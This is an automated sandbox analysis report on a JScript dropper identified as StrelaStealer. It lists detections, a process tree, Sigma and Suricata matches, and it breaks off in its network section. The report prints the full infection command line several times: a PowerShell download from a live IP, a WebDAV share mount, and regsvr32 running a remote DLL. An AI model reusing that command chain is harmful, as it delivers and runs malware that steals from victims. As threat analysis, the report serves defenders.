Edit tour

Windows Analysis Report
577119676170175151.js

Overview

General Information

Sample name:	577119676170175151.js
Analysis ID:	1590534
MD5:	6a67fdc321979da402cdc6d7201aecdc
SHA1:	5189b396b98c0f2afd8963c5e804b9fbc0e290c7
SHA256:	7ea19fe49bde243849c5ac053c923804eab7c115dc52c8ba08773a6e5e94323a
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3200 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5948 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5336 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1740,i,5722693158205743987,1927859512332386665,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5616 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5260 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4864 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3200	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5948, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5336, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5948, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5336, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ProcessId: 3200, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5260, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3200, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3200, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3200, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3200, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3200, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ProcessId: 3200, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5948, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5336, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5260, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4864, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5616, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5260, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3200, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 5948, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:47:06.708884+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:47:09.243660+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:47:06.708884+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 577119676170175151.js	Virustotal: Detection: 10%			Perma Link
Source: 577119676170175151.js	ReversingLabs: Detection: 13%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:47:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

